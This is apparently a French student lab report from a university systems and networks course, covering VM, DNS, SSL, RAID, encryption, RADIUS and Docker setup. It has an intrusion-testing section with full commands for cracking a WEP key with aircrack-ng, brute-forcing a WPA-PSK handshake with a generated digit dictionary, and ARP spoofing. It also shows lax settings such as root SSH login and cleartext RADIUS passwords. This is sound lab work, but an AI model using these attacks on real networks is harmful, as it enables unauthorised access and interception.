TP sysres IMA5sc 2020/2021 G3

De Wiki d'activités IMA

TP PRA - SIMONIN/MERTZ - Clavaire

Informations générales

Hostname : Clavaire
IP local : 100.64.0.25/28
IP publique : 193.48.57.186/28
URL : www.clavaire.site

Installation VirtualMachine

Utilisation de xen pour créer notre machine virtuel sur capbreton.plil.info

xen-create-image --hostname=clavaire --ip=100.64.0.25 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=[pwd habituel] --dir=/usr/local/xen --dist=buster

Lancement de la VM puis connexion :

xl create -c /etc/xen/clavaire.cfg
xen console clavaire

Pour quitter la VM : CTRL + ]

On ajoute des disques à notre VM :

Rename disque et formatage (lvrename/mkfs)

Modif .cfg pour ajouter disques

Transfert fichier /var vers nouvelle partition

Ajoute au /etc/fstab les disques

Mount -a

Routage du site IPv4

Dans VM : /etc/network/interfaces

iface eth0 inet static

address 193.48.57.186
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.26/24
up ip route add default via 100.64.0.2 src 193.48.57.186
down ip address del dev eth0 100.64.0.26/24
down ip route del default via 100.64.0.2 src 193.48.57.186

Dans gateway

1. ssh zabeth09 et zabeth30

2. minicom -> /dev/ttyACM0 et /dev/ttyUSB0

3. enable

4. conf t

5. ip route 193.48.57.186 255.255.255.255 100.64.0.26

6. exit

7. write

Création du Vlan303 :

Routeur 6509-E

vlan 303
name clavaire303
exit
int vlan 303
no shut
ip address 100.64.0.1 255.255.255.0
exit
vlan 303
vrrp 54 ip 10.60.103.254
vrrp 54 preempt
vrrp 54 priority 110

Routeur C9200

vlan 333
name clavaire303
exit
int vlan 333
no shut
ip address 100.64.0.2 255.255.255.0
exit
vlan 303
vrrp 54 address-family ipv4
address 10.60.103.254
preempt
vrrpv2

Services Internet

SSH

modif /etc/ssh/sshd_config :

Changement port : PORT 2222
Login depuis root : PermitRootLogin yes

service ssh restart

on peut donc : ssh root@193.48.57.186 -p 2222

DNS

Ajout DNS :

- le faire dans gandi - modifier fichier /etc/bind/named.conf.local en ajoutant :

zone "clavaire.site" IN {
	type master;
	file "/etc/bind/db.clavaire.lan";
};

- puis avoir un ficher db.clavaire.lan :

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns1.clavaire.site. admin.clavaire.site. (
                              8         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.clavaire.site.
@       IN      NS      ns6.gandi.net.
@       IN      MX      100 clavaire.site.
ns1     IN      A       193.48.57.186
www     IN      A       193.48.57.186
        IN      AAAA    [ipv6]

- relancer bind :

service bind9 restart

- pour vérifier :

host -tany clavaire.site

Sécurisation site web par certificat

Dans un premier temps, nous avons créé un serveur apache2,

systemctl start apache2

Nous avons ajouté à la liste des ports, le module ssl en écoute sur le port 443

Ajout du certificat SSL

Tout d'abord, nous avons installé openssl puis nous avons créé une nouvelle clé

La commande est disponible par mail: simoninrichard@gmail.com

Nous avons deplacé la clé dans private puis nous avons donné la clé public à Gandi pour générer le fichier

Pour la sécurisation SSl, nous avons utilisé le un serveur mail sur notre VM, mailx.

Pour notre serveur mail, nous avons configuré un chemin de sauvegarde de mail Maildir/, qui ne correspond pas au chemin courant.

mailx -f Maildir/

Nous avons aussi ajouté un alias afin de recéptionner les mails en admin et non en root.

A l'aide du serveur mail, nous avons pu valider les différentes etapes de validation SSL

Nous devons ensuite activer nos certificats SSL

a2enmod ssl

Ensuite nous avons modifié notre fichier de conf de notre site: clavaire.site.conf, pour ajouté nos chemins de fichiers de certificat SSL.

Puis un petit restart et notre site est sécurisé.

Sécurisation de serveur DNS par DNSSEC

Nous avons suivi les différentes étapes du sujet de TP. Nous avons choisis comme nom de zone: clavaire.site.

Nous avons vérifié le bon fonctionnement à l'aide de :

https://dnsviz.net/d/clavaire.site/dnssec/

Tests d’intrusion

Cassage de clef WEP d’un point d’accès WiFi

Dans cette partie, nous avons utilisé le reseau cracotte03 avec un cryptage WEP.

Dans un premier temps nous avons annalysé nos interfaces avec

airmon-ng

Le résultat obtenue est

PHY	 Interface	Driver		Chipset
phy0	wlx40a5ef0f6518	rt2800usb	Ralink Technology, Corp. RT5370

Nous obtenons ainsi l'interface de la clé WI-PI. Nous démarrons notre interface réseau WIFI pour pouvoir commencer l'écoute sur le channel 3.

airmon-ng start wlx40a5ef0f6518 3

Ainsi nous commençons à injecter dans notre réseau à l'aide du bssid de notre WIFI.

aireplay-ng -9 -e cracotte03 -a 04:DA:D2:9C:50:52 wlx40a5ef0f6518

Nous commençons à capturer les VI sur notre point d'accès à l'aide de la commande

airodump-ng -c 3 --bssid 04:DA:D2:9C:50:52 -w test.txt wlx40a5ef0f6518

En même temps, nous effectuons des fausses authentification afin d'augmenter le traffic sur notre point d'accès

aireplay-ng -1 0 -e cracotte03 -a 04:DA:D2:9C:50:52  wlx40a5ef0f6518

Puis nous utilisons aircrack afin d'utiliser tous les Vi pour cracker la clé WEP

aircrack-ng -b 04:DA:D2:9C:50:52 test*.cap 

et nous obtenons notre clé pour la cracotte03

KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:00:0F:FF ] 
Decrypted correctly: 100%

Exploitation de failles du système

Cassage de mot de passe WPA-PSK par force brute

Dans un premier temps, nous avons du trouvé le reseau wifi à cracker en scannant le reseau.

Nous avons pu ainsi attendre une connexion sur le reseau pour récupérer un Handshake grace à airdump.

Une fois les fichiers acquis, nous avons lancé sur un PC fixe plus puissant, la commande de crack par brute force.

aircrack-ng -w fichierbruteforce.txt -b 00:24:0A:F2:C0:18 psk*.cap

Code c pour générer le dictionnaire :

#include <stdio.h>
#include <stdlib.h>

int main(){
    FILE *f;
    f = fopen("fichierbruteforce.txt","w");
    if(f==NULL){
        printf("Erreur lors de l'ouverture c'un fichier");
        exit(1);
    }

    for(char a=0; a<10;a++)
    {
        for(char z=0; z<10;z++)
        {
            for(char e=0; e<10;e++)
            {
                for(char r=0; r<10;r++)
                {
                    for(char t=0; t<10;t++)
                    {
                        for(char y=0; y<10;y++)
                        {
                            for(char u=0; u<10;u++)
                            {
                                for(char i=0; i<10;i++)
                                {
                                    //printf("%d%d%d%d%d%d%d%d\n",a,z,e,r,t,y,u,i);
                                    fprintf(f,"%d%d%d%d%d%d%d%d\n",a,z,e,r,t,y,u,i);
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    fclose(f);
    return 0;
}

Attaque de type "homme au milieu" par usurpation ARP

L'objectif de cette manipulation est de nous faire passer pour un utilisateur de notre reseau au près d'un serveur web.

Dans un premier temps nous devons modifier la valeur de la variable pour passer en mode routeur,

sysctl -w net.ipv4.ip_forward=1

Nous commencons ainsi le piratage,

attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 193.48.57.186

Intrusion sur un serveur d’application Web

Réalisations

Sécurisation de données

On crée 3 disques virtuel de 1G (lvcreate -L1G -nclavaire-raid1 storage) et on les ajoute au fichier de config. On peut créer le raid :

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mkfs.ext4 /dev/md0

Pour qu'il soit monté a chaque démarrage de la vm :

mdadm --monitor --daemonise /dev/md0

Et on l'ajoute au fichier /etc/fstab

Avec des fichiers dans le ce volume, meme si un disque est déconnecté, les données sont toujours disponible.

Chiffrement de données

Dans un premier temps, nous formatons notre clé USB afin de pouvoir utiliser les partitions:

df -h

Nous connaissons ainsi notre Filesystem:

fdisk /dev/sdb

Nous pouvons créer une nouvelle partition primaire de la taille de la clé USB, 7.2 Go.


Puis nous quittons fdisk mais nous devons exécuter la commande

partprobe 

Pour re-écrire dans la table de partition.

Nous commençons l'initialisations de notre clé cryptée

sudo cryptsetup luksFormat  /dev/sdb1
sudo cryptsetup luksOpen /dev/sdb1 home

Nous pouvons accéder à notre clé depuis

cd /media/pifou/665....62/

Nous avons créé un fichier test en sudo à la racine.

sudo cryptsetup luksClose home 

Cette commande permet de fermer notre clé cryptée.

Sécurisation WiFi par WPA2-EAP

Configuration borne wifi

wifi-ima5sc(config)# aaa authentication login eap_group3 group radius_group3
wifi-ima5sc(config)# radius-server host 193.48.57.186 auth-port 1812 acct-port 1813 key secret_group3
wifi-ima5sc(config)# aaa group server radius radius_group3
wifi-ima5sc(config-server)# server 193.48.57.186 auth-port 1812 acct-port 1813
wifi-ima5sc(config-server)#exit
wifi-ima5sc(config)# dot11 ssid SSID_GROUP3
wifi-ima5sc(config-ssid)# mbssid guest-mode
wifi-ima5sc(config-ssid)# vlan 303
wifi-ima5sc(config-ssid)# authentication open eap eap_group3
wifi-ima5sc(config-ssid)# authentication network-eap eap_group3
wifi-ima5sc(config-ssid)# authentication key-management wpa
wifi-ima5sc(config-ssid)#exit
wifi-ima5sc(config)# int Dot11Radio0
wifi-ima5sc(config-if)# encryption vlan 303 mode ciphers aes-ccm tkip
wifi-ima5sc(config-if)# mbssid
wifi-ima5sc(config-if)#exit
wifi-ima5sc(config)# ssid SSID_GROUP3
wifi-ima5sc(config)# int dot11radio0.3
wifi-ima5sc(config-subif)# encapsulation dot1q 303
wifi-ima5sc(config-subif)# bridge-group 3
wifi-ima5sc(config-subif)#exit
wifi-ima5sc(config)# int Gi0.3
wifi-ima5sc(config-subif)# encapsulation dot1q 303
wifi-ima5sc(config-subif)# bridge-group 3
wifi-ima5sc(config-subif)#exit
wifi-ima5sc(config)#exit
wifi-ima5sc# write

Nous avons configuré notre routeur wifi à l'aide de notre Vlan.

Installation freeRadius

Sudo apt install freeradius

dans le fichier

/etc/freeradius/3.0/users

Nous ajoutons une ligne dans le but d'ajouter un utilisateur

pifou Cleartext-Password := "pasglop"

Dans le fichier

 /etc/freeradius/3.0/client.conf

Nous ajoutons ce paragraphe pour ajouter l'adresse IP du routeur.

client pra_wifi {
   ipaddr = 10.60.100.10
   secret = secret_group3 }

Dans le fichier

 /etc/freeradius/3.0/mods-enabled/eap

On ajoute la ligne suivante afin de définir le protocole de communication

default_eap_type = peap

Et on peut lancer notre freeradius

freeradius -X

DHCP

Nous devons ensuite configurer notre DHCP afin de donner des adresses lors de la connexion au réseau wifi.

6509E

IMA5sc-R2(config)#ip dhcp pool groupe3
IMA5sc-R2(dhcp-config)#dns 193.48.57.186
IMA5sc-R2(dhcp-config)#network 10.60.103.0 255.255.255.0
IMA5sc-R2(dhcp-config)#default-router 10.60.103.254
IMA5sc-R2(dhcp-config)#exit
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.0 10.60.103.10
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.100 10.60.103.255
IMA5sc-R2(config)#exit
IMA5sc-R2#sh ip dhcp binding

C9200

IMA5sc-R2(config)#ip dhcp pool groupe3
IMA5sc-R2(dhcp-config)#dns 193.48.57.186
IMA5sc-R2(dhcp-config)#network 10.60.103.0 255.255.255.0
IMA5sc-R2(dhcp-config)#default-router 10.60.103.254
IMA5sc-R2(dhcp-config)#exit
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.0 10.60.103.100
IMA5sc-R2(config)#ip dhcp excluded-address 10.60.103.200 10.60.103.255
IMA5sc-R2(config)#exit
IMA5sc-R2#sh ip dhcp binding

Site Web

Achat de clavaire.site[1] sur gandi

Ajout de notre propre DNS : ns1.gandi.net avec un lien direct (glue records) vers notre ip publique de machine.

Ferme de serveur

Ajout du bridge bridgeStudents sur la VM (fichier .cfg)

commande installation python :

ansible -i clavaire.ini -m raw -a "apt install python -y" all --user root --ask-pass

commande envoi clé ssh :

 ansible -i clavaire.ini -m authorized_key -a 'user=root state=present key="{{lookup("file","/root/.ssh/id_rsa.pub")}}"' --user root --ask-pass all

Pour le message du jour, on crée un role "motd" qui va copier notre fichier dans /etc/motd sur notre autre machine. On installe également ntp et on ajoute la ligne pour avoir accès au server ntp.plil.info dans le fichier /etc/ntp.conf

Dockerfile

FROM httpd
COPY ./index.html /usr/local/apache2/htdocs/
CMD [ "httpd", "-D", "FOREGROUND" ]
docker build -t web .
docker run -d web

fichier main.yml

---
- name: "Install docker on host"
  hosts: Install_docker
  remote_user: root
  vars :
          "ansible_distribution": "Debian"
          "ansible_distribution_release": "buster" 
  roles:
          - role: geerlingguy.docker

- name: "Setup Docker"
  hosts: HTTPD
  remote_user: root
  roles:
          - role: HTTPD


il faut maintenant envoyer notre image docker sur notre seconde vm, pour cela on fait un repo docker local

docker run -d -p 5000:5000 --restart always --name repo

et on push notre image on peut ensuite (en acceptant les communication http : /etc/docker/daemon.json ) pull l'image sur la seconde vm